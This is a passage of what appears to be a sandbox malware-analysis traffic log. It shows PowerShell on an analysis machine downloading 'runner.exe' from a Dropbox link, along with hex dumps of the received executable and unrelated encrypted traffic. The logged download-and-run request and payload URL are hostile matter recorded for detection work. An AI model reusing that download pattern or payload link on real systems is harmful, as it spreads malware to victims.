18 b5 50 cd 33 4c 11 b8 ac 5a ad 31 f7 f8 6c e5 55 bb 7e 0d ba aa f3 a6 1b ed ea 04 0b 12 cc 8f 5b 67 33 be 1d a3 8c 80 0c c1 76 f4 9f 92 eb Data Ascii: PrnpMcWw9VL?'{iM%?K6G~.!f\?\|qfE=4q,/KS':mFt!HR}C]eX!$wgKd_NV8%)uUK#o$j&6QU7\z@B{z'P3LZ1lU~[g3v
2024-12-17 11:13:35 UTC	15982	IN	Data Raw: 79 f7 75 5c 75 9b d4 5c 90 37 42 10 38 8a 5b 7e 8f 56 ee 54 47 fa f6 e4 e5 37 9d 8e bd b6 9b 77 26 28 26 e8 c3 6a 68 c6 d7 6e 53 e8 89 71 57 c6 39 35 fe cf b0 c8 50 4a e6 74 e9 2e 98 ee 35 ae 80 ef 37 4a 2c a2 05 79 8a fc 99 04 c6 23 c2 ef a6 3a 75 f0 3a c1 4c 05 29 e4 ed 5f af 8d 3d 3d 9f 7a bf 96 dd d4 47 87 a8 4e 30 49 75 d0 20 1c b7 27 a2 37 ae cf f1 e0 24 aa 34 5f 47 8e 67 0d e8 de 0c 93 81 77 13 ee f5 52 51 08 22 b3 fe 65 6f b3 03 ce 85 a4 0f fe 83 79 9a 06 46 b8 2e 8a 84 f8 70 af e4 38 8d 64 19 60 c2 4c 38 d5 16 d8 20 ce 53 d1 45 2d a1 e0 1c af 9c 97 0b 2c 64 31 ce 82 da 5c de 1b 4d af e4 6f 25 e9 e6 52 96 15 da 49 51 68 41 36 3a c5 ac cf 33 0e 12 9d 6d 15 94 64 a6 d0 3f 11 15 88 9b 19 c4 20 98 92 d8 95 6f 04 d6 d2 cb f1 9a e8 5f 5f dc e7 dc ea cd Data Ascii: yu\u\7B8[~VTG7w&(&jhnSqW95PJt.57J,y#:u:L)_==zGN0Iu '7$4_GgwRQ"eoyF.p8d`L8 SE-,d1\Mo%RIQhA6:3md? o__
2024-12-17 11:13:35 UTC	16384	IN	Data Raw: 08 13 60 23 f2 b2 6e 36 45 ca 6a 79 54 07 fc ed b2 16 84 a1 3d f4 9d d1 9f 25 d9 9d ec 21 f1 09 10 77 d2 01 f0 09 d1 1c 40 c1 91 a2 08 6d 81 c0 71 12 97 3d 4f 91 f4 14 e6 91 84 f2 a4 0f 1d c6 fc 0e 98 4b 11 d0 6c be 15 04 ad 1f 01 9b 01 eb 31 65 c7 d2 05 48 9b 15 41 30 97 ce 41 07 1b 6c 12 0a 72 5d ce 82 ab 0f a1 78 82 14 fe 55 a7 00 28 48 ad fa 6a 11 3e 6c 02 65 bc 80 56 47 b2 98 5b a6 de 16 e0 42 e4 0c 1a 42 d3 f1 fb 5b e3 10 1e fd f7 a0 b5 40 e1 c3 cc 3e d2 e3 10 2d 8d e1 c3 78 5e b2 26 8c 04 3d a1 96 4f 67 d3 b5 88 eb a0 65 35 82 b9 3f 8d a7 7f be 05 38 26 19 de 44 2b b2 e4 90 fa 2c 4f 98 67 24 42 63 22 50 da a3 3f 68 07 bb 76 05 a0 cc 75 cd d6 92 27 c6 fe 8b e0 96 f9 f4 4b 88 d6 44 72 97 37 34 86 00 d1 f0 5b b9 e3 0b 05 90 9d ba 15 69 cd 7d 81 3e f2 Data Ascii: `#n6EjyT=%!w@mq=OKl1eHA0Alr]xU(Hj>leVG[BB[@>-x^&=Oge5?8&D+,Og$Bc"P?hvu'KDr74[i}>
2024-12-17 11:13:35 UTC	402	IN	Data Raw: 8f 4f e2 6b f1 7c 19 ab c8 9b 14 6d 6e 00 68 ec f6 06 e5 04 f1 69 ce c2 86 fd 27 3d aa 86 2b b7 bc 70 91 7c aa 02 28 f3 33 6e 9a 19 ed 83 6e 88 67 45 b6 ef f1 8e ce c6 75 ff 47 48 cc 69 f5 f1 67 a1 f8 99 3f f5 1c 9e b5 2a 04 7f 88 09 ea 31 fd 95 46 7a 49 72 1a 05 69 6e a8 ae a1 cd 03 5c f5 98 81 a8 cd 2b f0 3f f9 ee cc 4b 2c 7b 78 52 3f aa 7e 32 9b 1f 3f 7e b9 b8 cc 71 d2 07 81 1a 79 9d 08 14 90 36 68 ce 8c 18 e0 f4 a0 4c 10 1c d0 e0 c0 b5 64 26 a0 1f b1 0f cf cb fc d6 73 e0 6a 4b b0 75 73 f2 53 da 2c 0b 59 8e d8 47 ac 1d d2 93 67 a2 77 59 cc 5a 4c 06 46 3f 27 af 84 56 ee 6c 86 2e 1f d7 2a f1 61 22 64 81 97 a3 a1 9a 40 c1 1b cc 1e f3 6b 3e 2a a5 6a 39 0b 39 cc 76 85 0d dd 90 b1 57 50 22 cf 1c 6f 22 9b 5d 84 35 b4 ce bf 2d 88 7d 23 6b fd 0d f8 51 44 88 17 Data Ascii: Ok\|mnhi'=+p\|(3nngEuGHig?1FzIrin\+?K,{xR?~2?~qy6hLd&sjKusS,YGgwYZLF?'Vl.a"d@k>*j99vWP"o"]5-}#kQD
2024-12-17 11:13:35 UTC	16384	IN	Data Raw: 4f 25 e3 d3 eb a4 0d 9f 7a b7 15 c2 07 07 ad 4e 81 14 64 b2 38 ce cf 24 a1 b1 d2 7a ec ce 19 2b 85 73 67 f7 8c 0f 96 3c 36 ac 99 1e de 09 d5 b7 84 28 a5 73 ea f3 94 5d b5 be 3d bd c1 cb c4 f0 17 c6 20 30 79 05 f7 8e 13 52 09 5a 1f a7 a5 12 98 90 5f df 09 82 e0 d1 fe 29 8d 82 f7 3d 52 46 4c bd 75 fa fb b1 f0 da c0 ba 52 50 45 26 e4 d9 0f 15 1e 3d 77 67 cd 2e 31 4b 05 03 26 33 66 10 0c e1 d6 3a 58 c1 e9 be 00 f6 d4 c9 c4 d5 75 9c 1b 8c 1d 37 b6 cc e4 7a 05 19 b0 6a b3 a0 08 ca 80 20 b7 a9 ca 3a 4d 2a 78 57 61 e9 9f 25 45 88 61 26 2a db 3f 7b b3 b3 74 60 92 77 d6 3f 07 b4 b4 a2 52 23 db c3 fd ae bd 3e 53 59 ff 9b 99 22 d6 0c 0a e8 c2 d5 ba a5 0c 16 3a db 8f ce e8 4d a7 58 7a 06 65 a3 56 63 ec e8 5a 39 f2 3e 3a 7f f3 b8 60 25 b3 76 d2 28 3a 12 08 f8 95 22 b7 Data Ascii: O%zNd8$z+sg<6(s]= 0yRZ_)=RFLuRPE&=wg.1K&3f:Xu7zj :MxWa%Ea&?{t`w?R#>SY":MXzeVcZ9>:`%v(:"
2024-12-17 11:13:35 UTC	16384	IN	Data Raw: 8f d8 13 a1 12 95 e0 57 32 b8 17 bc 75 cf 82 5b 28 42 fa 52 c5 ac 5b 23 4d d8 cb 31 ce ca 49 a8 f1 ea b5 5b 9e c6 26 72 df 67 e7 5d d6 df 8e de d1 9f b0 a8 4f 2c 9b 1f a2 37 bf e2 64 a3 73 61 47 7d a2 1e 1a 48 dc 22 34 9b cf 45 5e 24 d9 84 e3 ef b5 eb c3 e6 02 af 9a 7b 07 cf 31 5d 6c 4d 20 dc fb c6 87 d6 6b 5a 68 f6 2f cf fb fa 2b fa be a4 23 6f b4 b6 cd a7 7d fb 15 58 bf cb f5 e5 dc 33 3d f1 e4 db 6f e8 d7 5f ee bb 2a 8a c1 ab d1 3a cf 59 ce ff ac 2e ae f7 b4 ce 73 5b f5 3a 30 f2 9c d3 cf 35 fe 1c 57 13 34 4c 15 c3 68 2b 6e e1 6f e1 56 17 0f 86 c4 68 c5 a1 51 9e fb 4d e5 35 ad f8 15 2f 0e 96 92 65 92 eb 8d b2 ec 47 9b 8e 35 84 25 4d 4c 53 52 99 2c 08 d8 e0 31 72 f6 6c a1 75 5e a1 ff ab 87 69 a1 ce 5f eb 35 f7 a4 fc 50 d7 0d fe 86 77 aa 7a 36 f5 51 77 79 Data Ascii: W2u[(BR[#M1I[&rg]O,7dsaG}H"4E^${1]lM kZh/+#o}X3=o_*:Y.s[:05W4Lh+noVhQM5/eG5%MLSR,1rlu^i_5Pwz6Qwy
2024-12-17 11:13:35 UTC	16384	IN	Data Raw: ea 78 00 e3 ab 11 42 b5 cc 67 c8 03 e0 d9 c1 8d 6e 9a c0 18 a7 1e 40 2c 98 58 94 15 21 98 5c 84 61 16 4c 5a 01 4e 60 7c db 38 27 09 a4 41 d4 97 07 40 c7 32 ec 30 80 87 93 31 c8 77 81 f5 ae b3 89 ac 46 52 1d 04 0f 50 86 1e 0c 4e ff b6 55 61 45 e4 ca c1 89 80 67 54 8d a0 6b 7b 81 21 6c cf c8 42 82 5e bd 53 93 85 dc 0b 62 da 91 1d 52 8c 7c 7c 40 1e c4 4d 51 8b bd 59 11 22 33 aa a4 15 32 19 f3 4a bd 70 76 23 f5 5a a7 84 74 69 aa 50 44 07 b4 76 e7 a6 09 aa 12 af 67 ed 9a b6 64 34 f9 9d 39 94 04 33 ea 4a 60 2e b1 91 e5 8c 8a fb 20 7e 78 51 8a 03 8a 29 18 8b 5a e1 24 95 7a e3 de 94 97 96 82 df ee 5a 37 3a 6e 8d ae 1b f5 5f 77 ee cd 66 dc e2 56 7a 5c 37 db 30 e0 56 b6 b9 56 80 36 b4 31 60 ea 86 a8 a0 50 af e2 85 19 41 ce 32 da a7 53 95 7c 52 c9 97 03 2a eb 68 a0 Data Ascii: xBgn@,X!\aLZN`\|8'A@201wFRPNUaEgTk{!lB^SbR\|\|@MQY"32Jpv#ZtiPDvgd493J`. ~xQ)Z$zZ7:n_wfVz\70VV61`PA2S\|R*h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49858	162.125.65.18	443	8836	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:38 UTC	212	OUT	GET /scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com
2024-12-17 11:13:39 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc933af44167adf8e757221e8737.dl.dropboxusercontent.com/cd/0/get/CgYWev4jMhkAuVqO31aNc_EtDvIC2LFmjlh0-otSi3WiIdPd9V2TWZaboocy_14oWpUjJCrWPwCNhPQNslIqR9XI6FpCkIYbqdI88aaPytwm-HKl5XDA9AmdL200Xr3UDT88N9yVcZijeRCRI49fRmUS/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MjY3MjI3NzY0MzA0ODQzODExNzUyMDk1OTI0Mjc5MjY5ODgxMDg1; Path=/; Expires=Sun, 16 Dec 2029 11:13:38 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=wIVRP0Xp8HrfFQEPpbGBOd9M; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:13:38 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=wIVRP0Xp8HrfFQEPpbGBOd9M; Path=/; Expires=Wed, 17 Dec 2025 11:13:38 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=DN6VptWNKc; Path=/; Expires=Wed, 17 Dec 2025 11:13:38 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:13:38 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Tue, 17 Dec 2024 11:13:39 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: c73151cafa7c490bab1b1804c2f21785 Connection: close
2024-12-17 11:13:39 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49866	162.125.65.15	443	8836	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:41 UTC	370	OUT	GET /cd/0/get/CgYWev4jMhkAuVqO31aNc_EtDvIC2LFmjlh0-otSi3WiIdPd9V2TWZaboocy_14oWpUjJCrWPwCNhPQNslIqR9XI6FpCkIYbqdI88aaPytwm-HKl5XDA9AmdL200Xr3UDT88N9yVcZijeRCRI49fRmUS/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: uc933af44167adf8e757221e8737.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-17 11:13:42 UTC	739	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="runner.exe"; filename*=UTF-8''runner.exe Content-Security-Policy: sandbox Etag: 1734099436681829d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 455 X-Webkit-Csp: sandbox Date: Tue, 17 Dec 2024 11:13:41 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 25100288 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 119920a9fcf3433abc254425a62d4dde Connection: close
2024-12-17 11:13:42 UTC	15645	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7a b1 4e 09 3e d0 20 5a 3e d0 20 5a 3e d0 20 5a a9 14 5e 5a 3a d0 20 5a 19 16 5d 5a 7d d0 20 5a c1 f0 24 5a 3c d0 20 5a 6a f3 11 5a 3f d0 20 5a 19 16 4d 5a a0 d1 20 5a 3b dc 7d 5a 3c d0 20 5a fd df 40 5a 3f d0 20 5a fd df 7d 5a 25 d0 20 5a fd df 7f 5a 3d d0 20 5a 19 16 5b 5a 38 d0 20 5a 3e d0 21 5a 38 d1 20 5a 19 16 4e 5a ee dc 20 5a 19 16 5a 5a 3f d0 20 5a 19 16 5c 5a 3f d0 20 Data Ascii: MZ@(!L!This program cannot be run in DOS mode.$zN> Z> Z> Z^Z: Z]Z} Z$Z< ZjZ? ZMZ Z;}Z< Z@Z? Z}Z% ZZ= Z[Z8 Z>!Z8 ZNZ ZZZ? Z\Z?
2024-12-17 11:13:42 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 81 ec 04 01 00 00 6a 01 6a 1a 68 e0 85 99 01 6a 00 ff 15 90 0d 9d 02 68 10 7d 68 01 68 04 01 00 00 68 e0 85 99 01 e8 e8 5a 5b 00 83 c4 0c 6a 00 68 e0 85 99 01 6a 00 ff 15 94 0d 9d 02 68 e0 85 99 01 8d 44 24 04 68 04 01 00 00 50 e8 f1 5b 5b 00 68 34 7f 68 01 8d 4c 24 10 68 04 01 00 00 51 e8 ae 5a 5b 00 68 bc 7c 68 01 8d 54 24 1c 68 04 01 00 00 52 e8 9a 5a 5b 00 8b 8c 24 30 01 00 00 8b 94 24 2c 01 00 00 83 c4 24 8d 04 24 50 51 52 68 98 7f 68 01 68 b0 7f 68 01 68 a8 7f 68 01 ff 15 9c 0a 9d 02 81 c4 04 01 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: jjhjh}hhhZ[jhjhD$hP[[h4hL$hQZ[h\|hT$hRZ[$0$,$$PQRhhhhhh
2024-12-17 11:13:42 UTC	739	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii:
2024-12-17 11:13:42 UTC	16384	IN	Data Raw: d8 1b c0 f7 d8 c3 cc cc cc cc cc cc cc cc cc cc 0f b6 44 24 04 0f b6 80 b8 77 88 01 d1 e8 83 e0 01 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 89 41 14 c2 04 00 cc cc cc cc cc cc 8b 44 24 04 89 41 18 c2 04 00 cc cc cc cc cc cc 8b 44 24 04 89 41 1c c2 04 00 cc cc cc cc cc cc e9 19 31 5b 00 cc cc cc cc cc cc cc cc cc cc cc e9 4f 18 5b 00 cc cc cc cc cc cc cc cc cc cc cc e9 29 33 5b 00 cc cc cc cc cc cc cc cc cc cc cc 83 c1 08 b8 01 00 00 00 f0 0f c1 01 c3 cc cc cc 8b 41 0c c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 08 8b 4c 24 04 50 51 b9 a8 32 9a 02 e8 5c 6a 4e 00 c3 cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 50 b9 a8 32 9a 02 e8 71 5e 4e 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8d 51 08 83 c8 ff f0 0f c1 02 48 a9 ff ff ff Data Ascii: D$wD$AD$AD$A1[O[)3[AD$L$PQ2\jND$P2q^NQH
2024-12-17 11:13:42 UTC	16384	IN	Data Raw: 89 48 04 c3 cc cc cc cc cc cc cc cc cc cc cc cc 53 33 db 83 c8 ff 56 8b f1 8d 4e 28 88 1e 88 5e 01 88 5e 02 88 5e 03 89 46 08 89 46 10 89 46 14 89 46 18 89 5e 1c 89 5e 20 e8 22 fc ff ff 89 5e 2c 8b c6 5e 5b c3 cc cc cc cc cc cc cc cc cc cc 8b 44 24 08 85 c0 75 05 e8 73 99 4e 00 50 e8 9d 99 4e 00 6a ff 50 8d 44 24 14 6a 04 50 e8 ac ec 5a 00 8b 54 24 18 8d 4c 24 1c 51 68 34 92 68 01 52 e8 fa f9 ff ff 83 c4 20 c3 cc cc cc cc cc cc 6a ff 68 18 60 52 01 64 a1 00 00 00 00 50 56 a1 ac e8 8e 01 33 c4 50 8d 44 24 08 64 a3 00 00 00 00 8b 74 24 24 83 fe 0a 75 0b a1 48 b4 99 01 85 c0 74 02 ff d0 b9 54 b4 99 01 c7 44 24 24 54 b4 99 01 e8 d9 84 00 00 8b 44 24 1c 8b 4c 24 18 85 c9 c7 44 24 10 00 00 00 00 89 70 14 c7 40 10 00 00 00 00 74 05 e8 c6 af 00 00 b9 54 b4 99 01 Data Ascii: HS3VN(^^^FFFF^^ "^,^[D$usNPNjPD$jPZT$L$Qh4hR jh`RdPV3PD$dt$$uHtTD$$TD$L$D$p@tT
2024-12-17 11:13:42 UTC	16384	IN	Data Raw: 57 8b 7c 24 10 85 ff 76 1b 8b 4c 24 0c 8b 54 24 08 56 8b f7 8a 02 88 01 83 c1 01 83 c2 01 83 ee 01 75 f1 5e 8b c7 5f c3 cc cc cc cc cc cc cc cc 8b 44 24 04 8b 4c 24 08 56 8b 74 24 10 56 50 51 e8 5b be 5a 00 83 c4 0c 8b c6 5e c3 cc cc cc cc 8b 4c 24 04 8b 44 24 0c 0f b6 11 50 8b 44 24 0c 52 50 e8 69 c5 5a 00 83 c4 0c 33 c0 c3 cc cc cc 8a 81 7c 03 00 00 c6 81 7c 03 00 00 00 c3 cc cc c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 0c c7 00 a9 00 00 00 b0 01 c2 0c 00 cc c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 41 20 8b 80 1c 02 00 00 c3 cc cc cc cc cc cc 8b 41 20 8b 80 20 02 00 00 c3 cc cc cc cc cc Data Ascii: W\|$vL$T$Vu^_D$L$Vt$VPQ[Z^L$D$PD$RPiZ3\|\|D$A A
2024-12-17 11:13:42 UTC	16384	IN	Data Raw: b0 01 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc 83 ec 08 56 8b f1 8b 56 10 8d 44 24 08 50 8d 4c 24 08 51 68 80 00 00 00 68 ff ff 00 00 52 c7 44 24 1c 04 00 00 00 ff 15 14 0f 9d 02 8b 44 24 10 66 3b 44 24 06 74 41 8b 56 10 66 89 44 24 06 8b 44 24 08 50 8d 4c 24 08 51 68 80 00 00 00 68 ff ff 00 00 52 c7 46 08 00 00 00 00 ff 15 18 0f 9d 02 83 f8 ff 75 12 ff 15 20 0f 9d 02 89 46 08 32 c0 5e 83 c4 08 c2 04 00 b0 01 5e 83 c4 08 c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 08 56 8b f1 8b 56 10 8d 44 24 08 50 8d 4c 24 08 51 68 80 00 00 00 68 ff ff 00 00 52 c7 44 24 1c 04 00 00 00 ff 15 14 0f 9d 02 8a 44 24 10 33 c9 66 39 4c 24 04 0f b6 d0 0f 95 c1 3b d1 74 48 8b 54 24 08 33 c9 84 c0 0f 95 c1 52 8d 44 24 08 50 68 80 00 00 00 68 ff ff 00 00 c7 46 08 Data Ascii: ^VVD$PL$QhhRD$D$f;D$tAVfD$D$PL$QhhRFu F2^^VVD$PL$QhhRD$D$3f9L$;tHT$3RD$PhhF
2024-12-17 11:13:42 UTC	16384	IN	Data Raw: 01 7c 30 0c 8d 74 30 0c 8b 71 1c 01 7c 30 10 85 d2 8d 74 30 10 0f 85 75 ff ff ff 5f 5e 5b c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b f1 8d 46 04 68 00 10 00 00 50 89 06 ff 15 34 0c 9d 02 8b 3d 50 0c 9d 02 33 db 53 53 6a 01 53 c7 46 1c ff ff ff ff 89 5e 20 89 5e 24 89 5e 28 ff d7 53 53 53 53 89 46 2c ff d7 53 53 6a 01 89 46 4c 53 89 5e 6c ff d7 53 53 53 53 89 46 70 ff d7 89 86 90 00 00 00 5f 89 9e b0 00 00 00 8b c6 5e 5b c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 8b 06 50 ff 15 40 0c 9d 02 83 46 24 01 83 7e 28 00 7e 09 56 8d 4e 2c e8 e1 61 01 00 83 7e 20 00 7d 1a 57 8d 7e 2c 8d a4 24 00 00 00 00 56 8b cf e8 c8 61 01 00 83 7e 20 00 7c f2 5f 83 46 20 01 83 46 24 ff 8b 0e 51 ff 15 44 0c 9d 02 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|0t0q\|0t0u_^[SVWFhP4=P3SSjSF^ ^$^(SSSSF,SSjFLS^lSSSSFp_^[VP@F$~(~VN,a~ }W~,$Va~ \|_F F$QD^
2024-12-17 11:13:42 UTC	16384	IN	Data Raw: 14 89 44 24 2c 8b bc 24 88 01 00 00 66 83 7d 00 2e 0f 85 7e 00 00 00 0f b7 45 02 83 c5 02 66 3d 2a 00 89 6c 24 14 89 54 24 30 75 21 8b 07 83 c7 04 83 c5 02 3b c3 89 bc 24 88 01 00 00 89 6c 24 14 7d 4e 89 5c 24 30 89 5c 24 1c eb 48 66 3d 30 00 72 42 66 3d 39 00 77 3c 0f b7 4d 02 83 c5 02 0f b7 c0 83 e8 30 66 83 f9 30 89 6c 24 14 72 21 66 83 f9 39 77 17 8d 14 80 83 c5 02 0f b7 c1 0f b7 4d 00 66 83 f9 30 8d 44 50 d0 73 e3 89 6c 24 14 89 44 24 1c 0f b7 45 00 66 3d 68 00 ba 6c 00 00 00 74 05 66 3b c2 75 28 0f b7 c0 83 c5 02 66 3b c2 89 44 24 24 89 6c 24 14 75 15 66 39 55 00 75 0f 83 c5 02 c7 44 24 24 32 00 00 00 89 6c 24 14 0f b7 4d 00 0f b7 f1 0f b7 c6 83 c0 bc 83 f8 25 77 2c 0f b6 80 34 cb 41 00 ff 24 85 20 cb 41 00 be 64 00 00 00 eb 17 be 64 00 00 00 eb 0c Data Ascii: D$,$f}.~Ef=*l$T$0u!;$l$}N\$0\$Hf=0rBf=9w<M0f0l$r!f9wMf0DPsl$D$Ef=hltf;u(f;D$$l$uf9UuD$$2l$M%w,4A$ Add
2024-12-17 11:13:42 UTC	16384	IN	Data Raw: 01 8b 46 20 8b 48 38 83 c4 08 85 c9 74 0d 6a 02 56 50 8b 40 3c 50 ff d1 83 c4 10 8b c5 5f 5e 5d 5b c2 14 00 cc cc cc cc cc cc cc cc cc cc cc cc 53 8b 5c 24 10 56 8b f1 8b 46 44 8b 56 40 57 33 ff 3b d8 77 5b 8b 4c 24 14 72 04 3b ca 73 51 8b 7c 24 10 2b d1 55 1b c3 33 ed 3b e8 5d 77 06 72 06 3b fa 72 02 8b fa 8b 44 24 24 8b 54 24 20 50 8b 44 24 20 52 8b 56 48 50 8b 46 4c 03 d1 8b 4e 20 13 c3 50 52 57 57 6a 00 56 e8 91 f9 ff ff 85 c0 74 3e 01 7e 10 5f 83 56 14 00 5e 5b c2 18 00 8d 4c 24 10 51 6a 00 c7 44 24 18 02 00 00 00 ff 15 14 64 88 01 8b 46 20 8b 48 38 83 c4 08 85 c9 74 0d 8b 50 3c 6a 02 56 50 52 ff d1 83 c4 10 8b c7 5f 5e 5b c2 18 00 cc cc cc cc cc cc cc cc cc 53 55 56 8b f1 8b 5e 3c 8b 46 44 8b 6e 38 8b 56 40 57 33 ff 3b d8 77 5f 72 04 3b ea 73 59 8b Data Ascii: F H8tjVP@<P_^][S\$VFDV@W3;w[L$r;sQ\|$+U3;]wr;rD$$T$ PD$ RVHPFLN PRWWjVt>~_V^[L$QjD$dF H8tP<jVPR_^[SUV^<FDn8V@W3;w_r;sY

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49880	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:47 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 67 35 69 4b 52 64 7a 56 6a 30 6d 68 65 53 67 71 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 35 61 35 65 61 35 37 63 32 37 30 65 61 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: g5iKRdzVj0mheSgq.1Context: 515a5ea57c270ea3
2024-12-17 11:13:47 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 